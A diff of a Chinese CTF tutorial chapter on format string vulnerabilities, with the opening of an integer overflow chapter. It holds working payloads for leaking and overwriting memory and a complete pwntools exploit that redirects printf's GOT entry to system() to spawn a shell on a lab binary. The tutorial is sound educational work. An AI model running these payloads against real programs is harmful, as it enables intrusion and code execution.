如果大家都是好孩子,输入正常的字符,程序就不会有问题。由于没有格式字符串,如果我们在 `buf` 中输入一些转换指示符,则 `printf()` 会把它当做格式字符串并解析,漏洞发生。例如上面演示的我们输入了 `Hello %x %x %x !\n`(其中 `\n` 是 `fgets()` 函数给我们自动加上的),这时,程序就会输出栈内的数据。
|
||||
|
||||
我们可以总结出,其实格式字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配。下面我们讨论两个问题:
|
||||
|
||||
- 为什么可以通过编译?
|
||||
- 因为 `printf()` 函数的参数被定义为可变的。
|
||||
- 为了发现不匹配的情况,编译器需要理解 `printf()` 是怎么工作的和格式字符串是什么。然而,编译器并不知道这些。
|
||||
@ -271,28 +285,30 @@ Hello 32 f7f95580 565555f4 !
|
||||
- `printf()` 函数自己可以发现不匹配吗?
|
||||
- `printf()` 函数从栈中取出参数,如果它需要 3 个,那它就取出 3 个。除非栈的边界被标记了,否则 `printf()` 是不会知道它取出的参数比提供给它的参数多了。然而并没有这样的标记。
|
||||
|
||||
|
||||
## 格式化字符串漏洞利用
|
||||
|
||||
通过提供格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。
|
||||
|
||||
#### 使程序崩溃
|
||||
### 使程序崩溃
|
||||
|
||||
格式化字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 `SIGSEGV` 信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。
|
||||
|
||||
利用类似下面的格式字符串即可触发漏洞:
|
||||
|
||||
```c
|
||||
printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
|
||||
```
|
||||
|
||||
- 对于每一个 `%s`,`printf()` 都要从栈中获取一个数字,把该数字视为一个地址,然后打印出地址指向的内存内容,直到出现一个 NULL 字符。
|
||||
- 因为不可能获取的每一个数字都是地址,数字所对应的内存可能并不存在。
|
||||
- 还有可能获得的数字确实是一个地址,但是该地址是被保护的。
|
||||
|
||||
#### 查看栈内容
|
||||
### 查看栈内容
|
||||
|
||||
使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 `printf()` 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 `printf()` 调用时出现的顺序是一致的。
|
||||
|
||||
下面的演示我们都使用下面的[源码](../src/others/3.1.1_format_string/fmt_2.c):
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
@ -304,12 +320,14 @@ void main() {
|
||||
printf("\n");
|
||||
}
|
||||
```
|
||||
|
||||
```text
|
||||
# echo 0 > /proc/sys/kernel/randomize_va_space
|
||||
$ gcc -m32 -fno-stack-protector -no-pie fmt.c
|
||||
```
|
||||
|
||||
我们先输入 `b main` 设置断点,使用 `n` 往下执行,在 `call 0x56555460 <__isoc99_scanf@plt>` 处输入 `%08x.%08x.%08x.%08x.%08x`,然后使用 `c` 继续执行,即可输出结果。
|
||||
|
||||
```text
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
@ -358,10 +376,12 @@ gdb-peda$ c
|
||||
Continuing.
|
||||
00000001.88888888.ffffffff.ffffd57a.ffffd584
|
||||
```
|
||||
|
||||
格式化字符串 `0xffffd584` 的地址出现在内存中的位置恰好位于参数 `arg1`、`arg2`、`arg3`、`arg4` 之前。格式字符串 `%08x.%08x.%08x.%08x.%08x` 表示函数 `printf()` 从栈中取出 5 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(`arg1`)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,`printf()` 将显示当前执行函数的栈帧(包括返回地址和参数等)。
|
||||
|
||||
当然也可以使用 `%p.%p.%p.%p.%p` 得到相似的结果。
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd584 ("%p.%p.%p.%p.%p")
|
||||
@ -407,13 +427,16 @@ Continuing.
|
||||
```
|
||||
|
||||
上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,则可以使用类似下面的格式字符串:
|
||||
```
|
||||
|
||||
```text
|
||||
%<arg#>$<format>
|
||||
|
||||
%n$x
|
||||
```
|
||||
|
||||
这里的 `n` 表示栈中格式字符串后面的第 `n` 个值。
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
|
||||
@ -461,13 +484,16 @@ gdb-peda$ c
|
||||
Continuing.
|
||||
ffffffff.00000001.0x88888888.0x88888888.0xffffd57a.0xffffd584.0x56555220
|
||||
```
|
||||
|
||||
这里,格式字符串的地址为 `0xffffd584`。我们通过格式字符串 `%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p` 分别获取了 `arg3`、`arg1`、两个 `arg2`、`arg4` 和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。
|
||||
|
||||
#### 查看任意地址的内存
|
||||
### 查看任意地址的内存
|
||||
|
||||
攻击者可以使用一个“显示指定地址的内存”的格式规范来查看任意地址的内存。例如,使用 `%s` 显示参数 指针所指定的地址的内存,将它作为一个 ASCII 字符串处理,直到遇到一个空字符。如果攻击者能够操纵这个参数指针指向一个特定的地址,那么 `%s` 就会输出该位置的内存内容。
|
||||
|
||||
还是上面的程序,我们输入 `%4$s`,输出的 `arg4` 就变成了 `ABCD` 而不是地址 `0xffffd57a`:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd584 ("%4$s")
|
||||
@ -513,7 +539,8 @@ ABCD
|
||||
```
|
||||
|
||||
上面的例子只能读取栈中已有的内容,如果我们想获取的是任意的地址的内容,就需要我们自己将地址写入到栈中。我们输入 `AAAA.%p` 这样的格式的字符串,观察一下栈有什么变化。
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ python print("AAAA"+".%p"*20)
|
||||
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
|
||||
...
|
||||
@ -557,8 +584,10 @@ arg[4]: 0xffffd57a ("ABCD")
|
||||
Legend: code, data, rodata, value
|
||||
0x56555642 in main ()
|
||||
```
|
||||
|
||||
格式字符串的地址在 `0xffffd584`,从下面的输出中可以看到它们在栈中是怎样排布的:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/20w $esp
|
||||
0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
|
||||
0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
|
||||
@ -572,14 +601,18 @@ gdb-peda$ x/20wb 0xffffd584
|
||||
gdb-peda$ python print('\x2e\x25\x70')
|
||||
.%p
|
||||
```
|
||||
|
||||
下面是程序运行的结果:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ c
|
||||
Continuing.
|
||||
AAAA.0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584.0x56555220.0x565555d7.0xf7ffda54.0x1.0x424135d0.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
|
||||
```
|
||||
|
||||
`0x41414141` 是输出的第 13 个字符,所以我们使用 `%13$s` 即可读出 `0x41414141` 处的内容,当然,这里可能是一个不合法的地址。下面我们把 `0x41414141` 换成我们需要的合法的地址,比如字符串 `ABCD` 的地址 `0xffffd57a`:
|
||||
```
|
||||
|
||||
```text
|
||||
$ python2 -c 'print("\x7a\xd5\xff\xff"+".%13$s")' > text
|
||||
$ gdb -q a.out
|
||||
Reading symbols from a.out...(no debugging symbols found)...done.
|
||||
@ -636,7 +669,8 @@ z<><7A><EFBFBD>.ABCD
|
||||
当然这也没有什么用,我们真正经常用到的地方是,把程序中某函数的 GOT 地址传进去,然后获得该地址所对应的函数的虚拟地址。然后根据函数在 libc 中的相对位置,计算出我们需要的函数地址(如 `system()`)。如下面展示的这样:
|
||||
|
||||
先看一下重定向表:
|
||||
```
|
||||
|
||||
```text
|
||||
$ readelf -r a.out
|
||||
|
||||
Relocation section '.rel.dyn' at offset 0x2e8 contains 1 entries:
|
||||
@ -650,8 +684,10 @@ Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries:
|
||||
0804a014 00000407 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0
|
||||
0804a018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
|
||||
```
|
||||
|
||||
`.rel.plt` 中有四个函数可供我们选择,按理说选择任意一个都没有问题,但是在实践中我们会发现一些问题。下面的结果分别是 `printf`、`__libc_start_main`、`putchar` 和 `__isoc99_scanf`:
|
||||
```
|
||||
|
||||
```text
|
||||
$ python2 -c 'print("\x0c\xa0\x04\x08"+".%p"*20)' | ./a.out
|
||||
.0x1.0x88888888.0xffffffff.0xffe22cfa.0xffe22d04.0x80481fc.0x80484b0.0xf77afa54.0x1.0x424155d0.0x4443.(nil).0x2e0804a0.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
|
||||
$ python2 -c 'print("\x10\xa0\x04\x08"+".%p"*20)' | ./a.out
|
||||
@ -661,14 +697,18 @@ $ python2 -c 'print("\x14\xa0\x04\x08"+".%p"*20)' | ./a.out
|
||||
$ python2 -c 'print("\x18\xa0\x04\x08"+".%p"*20)' | ./a.out
|
||||
▒.0x1.0x88888888.0xffffffff.0xffcb99aa.0xffcb99b4.0x80481fc.0x80484b0.0xf775ca54.0x1.0x424125d0.0x4443.(nil).0x804a018.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
|
||||
```
|
||||
|
||||
细心一点你就会发现第一个(`printf`)的结果有问题。我们输入了 `\x0c\xa0\x04\x08`(`0x0804a00c`),可是 13 号位置输出的结果却是 `0x2e0804a0`,那么,`\x0c` 哪去了,查了一下 ASCII 表:
|
||||
```
|
||||
|
||||
```text
|
||||
Oct Dec Hex Char
|
||||
──────────────────────────────────────
|
||||
014 12 0C FF '\f' (form feed)
|
||||
```
|
||||
|
||||
于是就被省略了,同样会被省略的还有很多,如 `\x07`('\a')、`\x08`('\b')、`\x20`(SPACE)等的不可见字符都会被省略。这就会让我们后续的操作出现问题。所以这里我们选用最后一个(`__isoc99_scanf`)。
|
||||
```
|
||||
|
||||
```text
|
||||
$ python2 -c 'print("\x18\xa0\x04\x08"+"%13$s")' > text
|
||||
$ gdb -q a.out
|
||||
Reading symbols from a.out...(no debugging symbols found)...done.
|
||||
@ -721,12 +761,15 @@ gdb-peda$ c
|
||||
Continuing.
|
||||
▒<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
```
|
||||
|
||||
虽然我们可以通过 `x/w` 指令得到 `__isoc99_scanf` 函数的虚拟地址 `0xf7e3a790`。但是由于 `0x804a018` 处的内容是仍然一个指针,使用 `%13$s` 打印并不成功。在下面的内容中将会介绍怎样借助 pwntools 的力量,来获得正确格式的虚拟地址,并能够对它有进一步的利用。
|
||||
|
||||
当然并非总能通过使用 4 字节的跳转(如 `AAAA`)来步进参数指针去引用格式字符串的起始部分,有时,需要在格式字符串之前加一个、两个或三个字符的前缀来实现一系列的 4 字节跳转。
|
||||
|
||||
#### 覆盖栈内容
|
||||
### 覆盖栈内容
|
||||
|
||||
现在我们已经可以读取栈上和任意地址的内存了,接下来我们更进一步,通过修改栈和内存来劫持程序的执行流程。`%n` 转换指示符将 `%n` 当前已经成功写入流或缓冲区中的字符个数存储到地址由参数指定的整数中。
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
@ -737,14 +780,17 @@ void main() {
|
||||
printf("%d\n", i);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./a.out
|
||||
hello
|
||||
6
|
||||
```
|
||||
|
||||
`i` 被赋值为 6,因为在遇到转换指示符之前一共写入了 6 个字符(`hello` 加上一个空格)。在没有长度修饰符时,默认写入一个 `int` 类型的值。
|
||||
|
||||
通常情况下,我们要需要覆写的值是一个 shellcode 的地址,而这个地址往往是一个很大的数字。这时我们就需要通过使用具体的宽度或精度的转换规范来控制写入的字符个数,即在格式字符串中加上一个十进制整数来表示输出的最小位数,如果实际位数大于定义的宽度,则按实际位数输出,反之则以空格或 0 补齐(`0` 补齐时在宽度前加点`.` 或 `0`)。如:
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
@ -758,7 +804,8 @@ void main() {
|
||||
printf("%d\n", i);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./a.out
|
||||
1
|
||||
10
|
||||
@ -767,18 +814,22 @@ $ ./a.out
|
||||
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
|
||||
100
|
||||
```
|
||||
|
||||
就是这样,下面我们把地址 `0x8048000` 写入内存:
|
||||
```
|
||||
|
||||
```c
|
||||
printf("%0134512640d%n\n", 1, &i);
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./a.out
|
||||
...
|
||||
0x8048000
|
||||
```
|
||||
|
||||
还是我们一开始的程序,我们尝试将 `arg2` 的值更改为任意值(比如 `0x00000020`,十进制 32),在 gdb 中可以看到得到 `arg2` 的地址 `0xffffd538`,那么我们构造格式字符串 `\x38\xd5\xff\xff%08x%08x%012d%13$n`,其中 `\x38\xd5\xff\xff` 表示 `arg2` 的地址,占 4 字节,`%08x%08x` 表示两个 8 字符宽的十六进制数,占 16 字节,`%012d` 占 12 字节,三个部分加起来就占了 4+16+12=32 字节,即把 `arg2` 赋值为 `0x00000020`。格式字符串最后一部分 `%13$n` 也是最重要的一部分,和上面的内容一样,表示格式字符串的第 13 个参数,即写入 `0xffffd538` 的地方(`0xffffd564`),`printf()` 就是通过这个地址找到被覆盖的内容的:
|
||||
```
|
||||
|
||||
```text
|
||||
$ python2 -c 'print("\x38\xd5\xff\xff%08x%08x%012d%13$n")' > text
|
||||
$ gdb -q a.out
|
||||
Reading symbols from a.out...(no debugging symbols found)...done.
|
||||
@ -866,11 +917,14 @@ gdb-peda$ x/20x $esp
|
||||
0xffffd560: 0x00000000 0xffffd538 0x78383025 0x78383025
|
||||
0xffffd570: 0x32313025 0x33312564 0x00006e24 0xf7e70240
|
||||
```
|
||||
|
||||
对比 `printf()` 函数执行前后的输出,`printf` 首先解析 `%13$n` 找到获得地址 `0xffffd564` 的值 `0xffffd538`,然后跳转到地址 `0xffffd538`,将它的值 `0x88888888` 覆盖为 `0x00000020`,就得到 `arg2=0x00000020`。
|
||||
|
||||
#### 覆盖任意地址内存
|
||||
### 覆盖任意地址内存
|
||||
|
||||
也许已经有人发现了一个问题,使用上面覆盖内存的方法,值最小只能是 4,因为单单地址就占去了 4 个字节。那么我们怎样覆盖比 4 小的值呢。利用整数溢出是一个方法,但是在实践中这样做基本都不会成功。再想一下,前面的输入中,地址都位于格式字符串之前,这样做真的有必要吗,能否将地址放在中间。我们来试一下,使用格式字符串 `"AA%15$nA"+"\x38\xd5\xff\xff"`,开头的 `AA` 占两个字节,即将地址赋值为 `2`,中间是 `%15$n` 占 5 个字节,这里不是 `%13$n`,因为地址被我们放在了后面,在格式字符串的第 15 个参数,后面跟上一个 `A` 占用一个字节。于是前半部分总共占用了 2+5+1=8 个字节,刚好是两个参数的宽度,这里的 8 字节对齐十分重要。最后再输入我们要覆盖的地址 `\x38\xd5\xff\xff`,详细输出如下:
|
||||
```
|
||||
|
||||
```text
|
||||
$ python2 -c 'print("AA%15$nA"+"\x38\xd5\xff\xff")' > text
|
||||
$ gdb -q a.out
|
||||
Reading symbols from a.out...(no debugging symbols found)...done.
|
||||
@ -958,9 +1012,11 @@ gdb-peda$ x/20x $esp
|
||||
0xffffd560: 0x00000000 0x31254141 0x416e2435 0xffffd538
|
||||
0xffffd570: 0xffffd500 0x00000001 0x000000c2 0xf7e70240
|
||||
```
|
||||
|
||||
对比 `printf()` 函数执行前后的输出,可以看到我们成功地给 `arg2` 赋值了 `0x00000020`。
|
||||
|
||||
说完了数字小于 4 时的覆盖,接下来说说大数字的覆盖。前面的方法教我们直接输入一个地址的十进制就可以进行赋值,可是,这样占用的内存空间太大,往往会覆盖掉其他重要的地址而产生错误。其实我们可以通过长度修饰符来更改写入的值的大小:
|
||||
|
||||
```c
|
||||
char c;
|
||||
short s;
|
||||
@ -976,7 +1032,8 @@ printf("%s %lln\n", str, &ll); // 写入16字节
|
||||
```
|
||||
|
||||
试一下:
|
||||
```
|
||||
|
||||
```text
|
||||
$ python2 -c 'print("A%15$hhn"+"\x38\xd5\xff\xff")' > text
|
||||
0xffffd530: 0xffffd564 0x00000001 0x88888801 0xffffffff
|
||||
|
||||
@ -986,8 +1043,10 @@ $ python2 -c 'print("A%15$hnA"+"\x38\xd5\xff\xff")' > text
|
||||
$ python2 -c 'print("A%15$nAA"+"\x38\xd5\xff\xff")' > text
|
||||
0xffffd530: 0xffffd564 0x00000001 0x00000001 0xffffffff
|
||||
```
|
||||
|
||||
于是,我们就可以逐字节地覆盖,从而大大节省了内存空间。这里我们尝试写入 `0x12345678` 到地址 `0xffffd538`,首先使用 `AAAABBBBCCCCDDDD` 作为输入:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ r
|
||||
AAAABBBBCCCCDDDD
|
||||
[----------------------------------registers-----------------------------------]
|
||||
@ -1033,19 +1092,25 @@ gdb-peda$ x/20x $esp
|
||||
gdb-peda$ x/4wb 0xffffd538
|
||||
0xffffd538: 0x88 0x88 0x88 0x88
|
||||
```
|
||||
|
||||
由于我们想要逐字节覆盖,就需要 4 个用于跳转的地址,4 个写入地址和 4 个值,对应关系如下(小端序):
|
||||
```
|
||||
|
||||
```text
|
||||
0xffffd564 -> 0x41414141 (0xffffd538) -> \x78
|
||||
0xffffd568 -> 0x42424242 (0xffffd539) -> \x56
|
||||
0xffffd56c -> 0x43434343 (0xffffd53a) -> \x34
|
||||
0xffffd570 -> 0x44444444 (0xffffd53b) -> \x12
|
||||
```
|
||||
|
||||
把 `AAAA`、`BBBB`、`CCCC`、`DDDD` 占据的地址分别替换成括号中的值,再适当使用填充字节使 8 字节对齐就可以了。构造输入如下:
|
||||
```
|
||||
|
||||
```text
|
||||
$ python2 -c 'print("\x38\xd5\xff\xff"+"\x39\xd5\xff\xff"+"\x3a\xd5\xff\xff"+"\x3b\xd5\xff\xff"+"%104c%13$hhn"+"%222c%14$hhn"+"%222c%15$hhn"+"%222c%16$hhn")' > text
|
||||
```
|
||||
|
||||
其中前四个部分是 4 个写入地址,占 4*4=16 字节,后面四个部分分别用于写入十六进制数,由于使用了 `hh`,所以只会保留一个字节 `0x78`(16+104=120 -> 0x56)、`0x56`(120+222=342 -> 0x0156 -> 56)、`0x34`(342+222=564 -> 0x0234 -> 0x34)、`0x12`(564+222=786 -> 0x312 -> 0x12)。执行结果如下:
|
||||
```
|
||||
|
||||
```text
|
||||
$ gdb -q a.out
|
||||
Reading symbols from a.out...(no debugging symbols found)...done.
|
||||
gdb-peda$ b printf
|
||||
@ -1135,19 +1200,23 @@ gdb-peda$ x/20x $esp
|
||||
```
|
||||
|
||||
最后还得强调两点:
|
||||
|
||||
- 首先是需要关闭整个系统的 ASLR 保护,这可以保证栈在 gdb 环境中和直接运行中都保持不变,但这两个栈地址不一定相同
|
||||
- 其次因为在 gdb 调试环境中的栈地址和直接运行程序是不一样的,所以我们需要结合格式化字符串漏洞读取内存,先泄露一个地址出来,然后根据泄露出来的地址计算实际地址
|
||||
|
||||
|
||||
## x86-64 中的格式化字符串漏洞
|
||||
|
||||
在 x64 体系中,多数调用惯例都是通过寄存器传递参数。在 Linux 上,前六个参数通过 `RDI`、`RSI`、`RDX`、`RCX`、`R8` 和 `R9` 传递;而在 Windows 中,前四个参数通过 `RCX`、`RDX`、`R8` 和 `R9` 来传递。
|
||||
|
||||
还是上面的程序,但是这次我们把它编译成 64 位:
|
||||
|
||||
```text
|
||||
$ gcc -fno-stack-protector -no-pie fmt.c
|
||||
```
|
||||
gcc -fno-stack-protector -no-pie fmt.c
|
||||
```
|
||||
|
||||
使用 `AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.` 作为输入:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
RAX: 0x0
|
||||
@ -1205,36 +1274,41 @@ gdb-peda$ c
|
||||
Continuing.
|
||||
AAAAAAAA0x1.0x88888888.0xffffffff.0x7fffffffe3c6.0xa.0x4241000000000000.0x4443.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.
|
||||
```
|
||||
可以看到我们最后的输出中,前五个数字分别来自寄存器 `RSI`、`RDX`、`RCX`、`R8` 和 `R9`,后面的数字才取自栈,`0x4141414141414141` 在 `%8$p` 的位置。这里还有个地方要注意,我们前面说的 Linux 有 6 个寄存器用于传递参数,可是这里只输出了 5 个,原因是有一个寄存器 `RDI` 被用于传递格式字符串,可以从 gdb 中看到,`arg[0]` 就是由 `RDI` 传递的格式字符串。(现在你可以再回到 x86 的相关内容,可以看到在 x86 中格式字符串通过栈传递的,但是同样的也不会被打印出来)其他的操作和 x86 没有什么大的区别,只是这时我们就不能修改 `arg2` 的值了,因为它被存入了寄存器中。
|
||||
|
||||
可以看到我们最后的输出中,前五个数字分别来自寄存器 `RSI`、`RDX`、`RCX`、`R8` 和 `R9`,后面的数字才取自栈,`0x4141414141414141` 在 `%8$p` 的位置。这里还有个地方要注意,我们前面说的 Linux 有 6 个寄存器用于传递参数,可是这里只输出了 5 个,原因是有一个寄存器 `RDI` 被用于传递格式字符串,可以从 gdb 中看到,`arg[0]` 就是由 `RDI` 传递的格式字符串。(现在你可以再回到 x86 的相关内容,可以看到在 x86 中格式字符串通过栈传递的,但是同样的也不会被打印出来)其他的操作和 x86 没有什么大的区别,只是这时我们就不能修改 `arg2` 的值了,因为它被存入了寄存器中。
|
||||
|
||||
## CTF 中的格式化字符串漏洞
|
||||
|
||||
#### pwntools pwnlib.fmtstr 模块
|
||||
### pwntools pwnlib.fmtstr 模块
|
||||
|
||||
文档地址:http://pwntools.readthedocs.io/en/stable/fmtstr.html
|
||||
文档地址:<http://pwntools.readthedocs.io/en/stable/fmtstr.html>
|
||||
|
||||
该模块提供了一些字符串漏洞利用的工具。该模块中定义了一个类 `FmtStr` 和一个函数 `fmtstr_payload`。
|
||||
|
||||
`FmtStr` 提供了自动化的字符串漏洞利用:
|
||||
|
||||
```python
|
||||
class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)
|
||||
```
|
||||
|
||||
- execute_fmt (function):与漏洞进程进行交互的函数
|
||||
- offset (int):你控制的第一个格式化程序的偏移量
|
||||
- padlen (int):在 paylod 之前添加的 pad 的大小
|
||||
- numbwritten (int):已经写入的字节数
|
||||
|
||||
`fmtstr_payload` 用于自动生成格式化字符串 paylod:
|
||||
|
||||
```python
|
||||
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
|
||||
```
|
||||
|
||||
- offset (int):你控制的第一个格式化程序的偏移量
|
||||
- writes (dict):格式为 {addr: value, addr2: value2},用于往 addr 里写入 value 的值(常用:{printf_got})
|
||||
- numbwritten (int):已经由 printf 函数写入的字节数
|
||||
- write_size (str):必须是 byte,short 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写(hhn,hn或n)
|
||||
|
||||
我们通过一个例子来熟悉下该模块的使用(任意地址内存读写):[fmt.c](../src/others/3.1.1_format_string/fmt.c) [fmt](../src/others/3.1.1_format_string/fmt)
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
@ -1249,7 +1323,8 @@ void main() {
|
||||
```
|
||||
|
||||
为了简单一点,我们关闭 ASLR,并使用下面的命令编译,关闭 PIE,使得程序的 .text .bss 等段的内存地址固定:
|
||||
```
|
||||
|
||||
```text
|
||||
# echo 0 > /proc/sys/kernel/randomize_va_space
|
||||
$ gcc -m32 -fno-stack-protector -no-pie fmt.c
|
||||
```
|
||||
@ -1257,6 +1332,7 @@ $ gcc -m32 -fno-stack-protector -no-pie fmt.c
|
||||
很明显,程序存在格式化字符串漏洞,我们的思路是将 `printf()` 函数的地址改成 `system()` 函数的地址,这样当我们再次输入 `/bin/sh` 时,就可以获得 shell 了。
|
||||
|
||||
第一步先计算偏移,虽然 pwntools 中可以很方便地构造出 exp,但这里,我们还是先演示手工方法怎么做,最后再用 pwntools 的方法。在 gdb 中,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了。我们输入 "AAAA" 试一下:
|
||||
|
||||
```text
|
||||
gdb-peda$ b main
|
||||
...
|
||||
@ -1298,9 +1374,11 @@ arg[0]: 0xffffd1f0 ("AAAA\n")
|
||||
Legend: code, data, rodata, value
|
||||
0x08048512 in main ()
|
||||
```
|
||||
|
||||
我们看到输入 `printf()` 的变量 `arg[0]: 0xffffd1f0 ("AAAA\n")` 在栈的第 5 行,除去第一个格式化字符串,即偏移量为 4。
|
||||
|
||||
读取重定位表获得 `printf()` 的 GOT 地址(第一列 Offset):
|
||||
|
||||
```text
|
||||
$ readelf -r a.out
|
||||
|
||||
@ -1319,18 +1397,21 @@ Relocation section '.rel.plt' at offset 0x304 contains 5 entries:
|
||||
```
|
||||
|
||||
在 gdb 中获得 `printf()` 的虚拟地址:
|
||||
|
||||
```text
|
||||
gdb-peda$ p printf
|
||||
$1 = {<text variable, no debug info>} 0xf7e26bf0 <printf>
|
||||
```
|
||||
|
||||
获得 `system()` 的虚拟地址:
|
||||
|
||||
```text
|
||||
gdb-peda$ p system
|
||||
$1 = {<text variable, no debug info>} 0xf7e17060 <system>
|
||||
```
|
||||
|
||||
好了,演示完怎样用手工的方式得到构造 exp 需要的信息,下面我们给出使用 pwntools 构造的完整漏洞利用代码:
|
||||
|
||||
```python
|
||||
# -*- coding: utf-8 -*-
|
||||
from pwn import *
|
||||
@ -1391,13 +1472,14 @@ $ python2 exp.py
|
||||
$ echo "hacked!"
|
||||
hacked!
|
||||
```
|
||||
|
||||
这样我们就获得了 shell,可以看到输出的信息和我们手工得到的信息完全相同。
|
||||
|
||||
|
||||
## 扩展阅读
|
||||
[Exploiting Sudo format string vunerability CVE-2012-0809](http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vunerability.html)
|
||||
|
||||
- [Exploiting Sudo format string vunerability CVE-2012-0809](http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vunerability.html)
|
||||
|
||||
## 练习
|
||||
|
||||
- [pwn NJCTF2017 pingme](../src/writeup/6.1.2_pwn_njctf2017_pingme)
|
||||
- writeup 在章节 6.1.2 中
|
||||
|
@ -5,19 +5,22 @@
|
||||
- [整数溢出示例](#整数溢出示例)
|
||||
- [CTF 中的整数溢出](#ctf-中的整数溢出)
|
||||
|
||||
|
||||
## 什么是整数溢出
|
||||
#### 简介
|
||||
|
||||
### 简介
|
||||
|
||||
在 C 语言基础的章节中,我们介绍了 C 语言整数的基础知识,下面我们详细介绍整数的安全问题。
|
||||
|
||||
由于整数在内存里面保存在一个固定长度的空间内,它能存储的最大值和最小值是固定的,如果我们尝试去存储一个数,而这个数又大于这个固定的最大值时,就会导致整数溢出。(x86-32 的数据模型是 ILP32,即整数(Int)、长整数(Long)和指针(Pointer)都是 32 位。)
|
||||
|
||||
#### 整数溢出的危害
|
||||
### 整数溢出的危害
|
||||
|
||||
如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险。通常情况下,整数溢出并没有改写额外的内存,不会直接导致任意代码执行,但是它会导致栈溢出和堆溢出,而后两者都会导致任意代码执行。由于整数溢出出现之后,很难被立即察觉,比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。
|
||||
|
||||
|
||||
## 整数溢出
|
||||
|
||||
关于整数的异常情况主要有三种:
|
||||
|
||||
- 溢出
|
||||
- 只有有符号数才会发生溢出。有符号数最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出
|
||||
- 溢出标志 `OF` 可检测有符号数的溢出
|
||||
@ -27,8 +30,10 @@
|
||||
- 截断
|
||||
- 将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断
|
||||
|
||||
#### 有符号整数溢出
|
||||
### 有符号整数溢出
|
||||
|
||||
- 上溢出
|
||||
|
||||
```c
|
||||
int i;
|
||||
i = INT_MAX; // 2 147 483 647
|
||||
@ -37,18 +42,20 @@ printf("i = %d\n", i); // i = -2 147 483 648
|
||||
```
|
||||
|
||||
- 下溢出
|
||||
|
||||
```c
|
||||
i = INT_MIN; // -2 147 483 648
|
||||
i--;
|
||||
printf("i = %d\n", i); // i = 2 147 483 647
|
||||
```
|
||||
|
||||
#### 无符号数回绕
|
||||
### 无符号数回绕
|
||||
|
||||
涉及无符号数的计算永远不会溢出,因为不能用结果为无符号整数表示的结果值被该类型可以表示的最大值加 1 之和取模减(reduced modulo)。因为回绕,一个无符号整数表达式永远无法求出小于零的值。
|
||||
|
||||
